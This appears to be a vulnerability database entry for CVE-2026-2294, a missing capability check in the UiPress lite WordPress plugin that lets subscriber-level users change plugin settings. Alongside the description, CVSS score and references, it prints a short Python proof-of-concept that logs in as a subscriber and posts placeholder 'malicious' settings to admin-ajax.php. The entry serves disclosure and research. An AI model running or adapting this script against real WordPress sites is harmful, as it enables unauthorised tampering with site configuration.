CVE-2026-2294

Description

The UiPress lite | Effortless custom dashboards, admin themes and pages plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'uip_save_global_settings' function in all versions up to, and including, 3.5.09. This makes it possible for authenticated attackers, with Subscriber-level access and above, to change arbitrary plugin settings.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

UiPress Lite <= 3.5.09

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_url = "http://example.com/wp-admin/admin-ajax.php"
username = "subscriber"
password = "password"

# 1. Login to get authenticated cookie
login_url = "http://example.com/wp-login.php"
session = requests.Session()
payload = {
    'log': username,
    'pwd': password,
    'wp-submit': 'Log In',
    'redirect_to': 'http://example.com/wp-admin/'
}
session.post(login_url, data=payload)

# 2. Exploit the missing capability check
exploit_data = {
    'action': 'uip_save_global_settings',
    # Malicious settings to change plugin behavior
    'settings': '{"malicious_key": "malicious_value"}' 
}

response = session.post(target_url, data=exploit_data)

if response.status_code == 200:
    print("[+] Exploit successful! Settings modified.")
else:
    print("[-] Exploit failed.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-2294
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-2294
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-2294/
[4] VulDB https://vuldb.com/cve/CVE-2026-2294
[5] https://plugins.trac.wordpress.org/browser/uipress-lite/tags/3.5.09/admin/core/uiBuilder.php#L333
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/5cc00331-4c4d-44c9-9068-bd7320f9d4a5?source=cve

Raw JSON Data

JSON

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